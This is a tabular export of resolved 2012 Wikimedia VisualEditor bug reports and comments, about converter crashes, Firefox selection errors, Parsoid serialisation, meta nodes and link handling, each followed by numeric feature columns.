* Investigate other cases where this breakage occurs
* File bug with Parsoid for proper protection of user-generated tags

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1354071720,1354826179.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_description,resolved,True,c1,0,False,False,True,-31,,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,10.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,8.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,7.0,3.8969072164948453,0.6288659793814433,"Wikitext to reproduce:

<span>
[bunch of newlines]
</span>

Parsoid generates <span><p></p></span> for this, but it doesn't mark the span.

Todo:
* Make the failure a bit more graceful
* Investigate whether p inside span is legal
* Investigate other cases where this breakage occurs
* File bug with Parsoid for proper protection of user-generated tags

--------------------------
**Version**: unspecified
**Severity**: normal"
196138,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,Resolved in If420ae80ab0777424a9a5517335ef9d0170e87ae,,,1354826179,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,Resolved in If420ae80ab0777424a9a5517335ef9d0170e87ae
196133,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,"Slight tweak to the approach: it was easier not to back up to the outer node, but instead just inline-alienate the inner node.

https://gerrit.wikimedia.org/r/37172",,,1354756947,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,7.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.8666666666666667,0.8333333333333334,"Slight tweak to the approach: it was easier not to back up to the outer node, but instead just inline-alienate the inner node.

GERRIT_URL"
196129,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,"(In reply to comment #1)
> This content would be in violation of the HTML spec, I believe.
Yes. But Gabriel argues this is bound to occur in some cases anyway.

Proposed approach: detect these cases (block node inside inline node or annotation node) without crashing, and handle them by backing out and alienating the outer node.",,,1354146377,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_subcomment,,True,c1,0,False,,,-31,,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,10.0,0.0,7.0,7.0,0.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,2.0,14.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,3.9310344827586206,0.8103448275862069,"(In reply to comment #1)
QUOTE
Yes. But Gabriel argues this is bound to occur in some cases anyway.

Proposed approach: detect these cases (block node inside inline node or annotation node) without crashing, and handle them by backing out and alienating the outer node."
196125,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,"This content would be in violation of the HTML spec, I believe.",,,1354124174,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,"This content would be in violation of the HTML spec, I believe."
44404,VisualEditor: Still get a pawn when select-all->replace in Firefox,"Go to demos/ve/?page=aliens in Firefox; select all:

  TypeError: end is undefined    ve.ce.Surface.js (line 980)

Press ""a"" (or backspace and then ""a""):

  TypeError: start is undefined  ve.ce.Surface.js (line 995)
  
  (And a pawn appears in its own <p> above the a.)

On any click thereafter,

  TypeError: node is null        ve.ce.Surface.js (line 1073)

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57355",High,80.0,1353725160,1353971144.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-j3shvug7fft7t4wshe6d,task_description,resolved,True,c1,0,True,False,True,-32,,1.5,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,2.5,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,9.0,0.0,1.5,4.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,1.0,3.5,5.5,0.0,2.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.5,3.5648496240601504,0.6812343358395989,"Go to demos/ve/?page=aliens in Firefox; select all:

  TypeError: end is undefined    ve.ce.Surface.js (line 980)

Press ""a"" (or backspace and then ""a""):

  TypeError: start is undefined  ve.ce.Surface.js (line 995)
  
  (And a pawn appears in its own <p> above the a.)

On any click thereafter,

  TypeError: node is null        ve.ce.Surface.js (line 1073)

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
190446,VisualEditor: Still get a pawn when select-all->replace in Firefox,"I resolved this in Ia7347527e6466262e819f456404b32926fd95e34 by correcting the offsets before showing selection. This seems to work well so far, but really getNodeAndOffset is a nasty function that needs some love soon.",,,1353971144,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-j3shvug7fft7t4wshe6d,task_subcomment,,True,c1,0,False,,,-31,,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,9.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,5.5588235294117645,0.9705882352941176,"I resolved this in Ia7347527e6466262e819f456404b32926fd95e34 by correcting the offsets before showing selection. This seems to work well so far, but really getNodeAndOffset is a nasty function that needs some love soon."
44403,"VisualEditor: Selective serialisation has landed in Parsoid, now VE needs to handle that","Due to gerrit 31118 being merged, Parsoid now has selective serialisation live. This means that VisualEditor needs to include Mark's patch to handle this.

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1353721680,1354056676.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-hgicqduvx6exq6mle75r,task_description,resolved,True,c1,0,True,False,True,-32,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.456521739130435,0.7391304347826086,"Due to gerrit 31118 being merged, Parsoid now has selective serialisation live. This means that VisualEditor needs to include Mark's patch to handle this.

--------------------------
**Version**: unspecified
**Severity**: critical"
190423,"VisualEditor: Selective serialisation has landed in Parsoid, now VE needs to handle that",gerrit 35340,,,1353981072,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-hgicqduvx6exq6mle75r,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,gerrit 35340
44402,VisualEditor: Failure in saving integration code,"this.emit( 'saveError', null, 'Unsuccessful request: ' + data.result, null );

(ve.init.mw.Target.js line 131)

causes ""TypeError: data is undefined""

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1353719400,1353724364.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-76qxn5mqf3hcvdkgf2kt,task_description,resolved,True,c1,0,True,False,True,-32,,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.9615384615384617,0.5769230769230769,"this.emit( 'saveError', null, 'Unsuccessful request: ' + data.result, null );

(ve.init.mw.Target.js line 131)

causes ""TypeError: data is undefined""

--------------------------
**Version**: unspecified
**Severity**: normal"
190382,VisualEditor: Failure in saving integration code,Fixed in gerrit 34959,,,1353724364,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-76qxn5mqf3hcvdkgf2kt,task_subcomment,,True,c1,0,True,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Fixed in gerrit 34959
44398,VisualEditor: Clean up meta nodes,"For after December:
* consolidate 'type': 'metaInline' / 'metaBlock' into 'type': 'meta'
* get rid of ve.{ce,dm}.Meta{Inline,Block}Node
* create ve.dm.MetaNode with converter stuff but don't inherit ve.dm.LeafNode
** eventually integrate that into the new node API

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1353702180,1357679596.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-o3u5ojlmiw3bdf7dgyiu,task_description,resolved,True,c1,0,False,False,True,-32,,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,10.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.765432098765432,0.5679012345679012,"For after December:
* consolidate 'type': 'metaInline' / 'metaBlock' into 'type': 'meta'
* get rid of ve.{ce,dm}.Meta{Inline,Block}Node
* create ve.dm.MetaNode with converter stuff but don't inherit ve.dm.LeafNode
** eventually integrate that into the new node API

--------------------------
**Version**: unspecified
**Severity**: normal"
190239,VisualEditor: Clean up meta nodes,This is fixed in gerrit 39847 which is now merged; will be deployed as part of the 2013-01-16 release cycle.,,,1357679596,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o3u5ojlmiw3bdf7dgyiu,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.423076923076923,0.9230769230769231,This is fixed in gerrit 39847 which is now merged; will be deployed as part of the 2013-01-16 release cycle.
190236,VisualEditor: Clean up meta nodes,"Turns out this could only be fixed partially. Consolidating metaBlock and metaInline was not possible and will have to wait until the node API rewrite, so I removed ce.Meta{Block,Inline}Node in https://gerrit.wikimedia.org/r/39847 and wrote up some ideas for the node API rewrite at https://www.mediawiki.org/wiki/User:Catrope/Node_API",,,1356175301,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-o3u5ojlmiw3bdf7dgyiu,task_subcomment,,True,c1,1,False,,,-28,,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,6.0,16.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,2.0,6.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,16.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.448979591836735,0.8367346938775511,"Turns out this could only be fixed partially. Consolidating metaBlock and metaInline was not possible and will have to wait until the node API rewrite, so I removed ce.Meta{Block,Inline}Node in GERRIT_URL and wrote up some ideas for the node API rewrite at URL"
44350,VisualEditor: Delete and backspace broken around inline aliens in Firefox,"When I place the cursor before the template output, and press ""Delete"", it deletes the template and one more character after the template. When I place the cursor after the template output and press ""Backspace"", it does not delete the template (simply does nothing).

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1353576600,1354149956.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-75uqqg6zbs3w4jxdyn43,task_description,resolved,True,c1,0,False,False,True,-32,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,11.0,3.0,4.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,5.0,4.0,3.0,0.0,5.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,4.041095890410959,0.5068493150684932,"When I place the cursor before the template output, and press ""Delete"", it deletes the template and one more character after the template. When I place the cursor after the template output and press ""Backspace"", it does not delete the template (simply does nothing).

--------------------------
**Version**: unspecified
**Severity**: normal"
187558,VisualEditor: Delete and backspace broken around inline aliens in Firefox,Resolved in I73215df88519450965be35d9e04cf4e621d1e90d,,,1354149956,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-75uqqg6zbs3w4jxdyn43,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,Resolved in I73215df88519450965be35d9e04cf4e621d1e90d
187554,VisualEditor: Delete and backspace broken around inline aliens in Firefox,"Confirmed.

Trivial test case: Start with an article with an inline alien - e.g. ""ABC<tt>:-)</tt>DEF"". Place the cursor immediately after C, and press (forwards) delete; instead of just deleting the alien, it also deletes D.

Undo; place cursor immediately before D (just after the alien), and press backspace; instead of deleting the alien, it does nothing.

Confirmed in Firefox.",,,1353718829,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-75uqqg6zbs3w4jxdyn43,task_subcomment,,True,c1,0,True,,,-32,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.880952380952381,0.6190476190476191,"Confirmed.

Trivial test case: Start with an article with an inline alien - e.g. ""ABC<tt>:-)</tt>DEF"". Place the cursor immediately after C, and press (forwards) delete; instead of just deleting the alien, it also deletes D.

Undo; place cursor immediately before D (just after the alien), and press backspace; instead of deleting the alien, it does nothing.

Confirmed in Firefox."
44341,"VisualEditor: Link inspector suggestions box should instantly show, then populate with more as API returns","Right now the link inspector's suggestions box displays only after the ; instead, it should show instantly, then populate with more data as API returns with a spinner. Trevor has some ideas if you want to bug him. :-)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1353543420,1354302320.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-smsvykwx7lxu2tyag7ye,task_description,resolved,True,c1,0,True,False,True,-32,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,4.048387096774194,0.7903225806451613,"Right now the link inspector's suggestions box displays only after the ; instead, it should show instantly, then populate with more data as API returns with a spinner. Trevor has some ideas if you want to bug him. :-)

--------------------------
**Version**: unspecified
**Severity**: normal"
187056,"VisualEditor: Link inspector suggestions box should instantly show, then populate with more as API returns","Patched in https://gerrit.wikimedia.org/r/#/c/36110/1
Awaiting merge.",,,1354231674,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-smsvykwx7lxu2tyag7ye,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.857142857142857,1.0,"Patched in URL
Awaiting merge."
44340,VisualEditor: Annotation of inline nodes fails,"Annotation of inline nodes fails - the data model is not updated to have any annotations added.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1353542940,1354056502.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jml4yae3q65u4srebbyl,task_description,resolved,True,c1,0,True,False,True,-32,,3.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.75,"Annotation of inline nodes fails - the data model is not updated to have any annotations added.

--------------------------
**Version**: unspecified
**Severity**: major"
187013,VisualEditor: Annotation of inline nodes fails,https://gerrit.wikimedia.org/r/#/c/34958/,,,1354054132,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-jml4yae3q65u4srebbyl,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
44298,VisualEditor: Handle percent-encoding in MWInternalLinkAnnotation,"Per conversation with Gabriel, MWInternalLinkAnnotation needs to deal with percent-encoded hrefs. At least question marks (?) and percent signs (%) will be encoded. We need to decode these before presenting them to the user, encode the user input on the way out, and use href shadowing to make sure we don't change the href if the user didn't change the target (even if that would otherwise happen due to complete vs partial percent-encoding).

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1353441780,1354921807.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-jazf6d7oefzddss6mv36,task_description,resolved,True,c1,0,False,False,True,-32,,0.0,0.0,0.0,0.5,2.0,4.5,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,1.5,0.5,4.0,10.5,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.5,0.5,4.5,2.0,1.0,5.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,2.0,10.5,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,4.0636363636363635,0.7245791245791247,"Per conversation with Gabriel, MWInternalLinkAnnotation needs to deal with percent-encoded hrefs. At least question marks (?) and percent signs (%) will be encoded. We need to decode these before presenting them to the user, encode the user input on the way out, and use href shadowing to make sure we don't change the href if the user didn't change the target (even if that would otherwise happen due to complete vs partial percent-encoding).

--------------------------
**Version**: unspecified
**Severity**: normal"
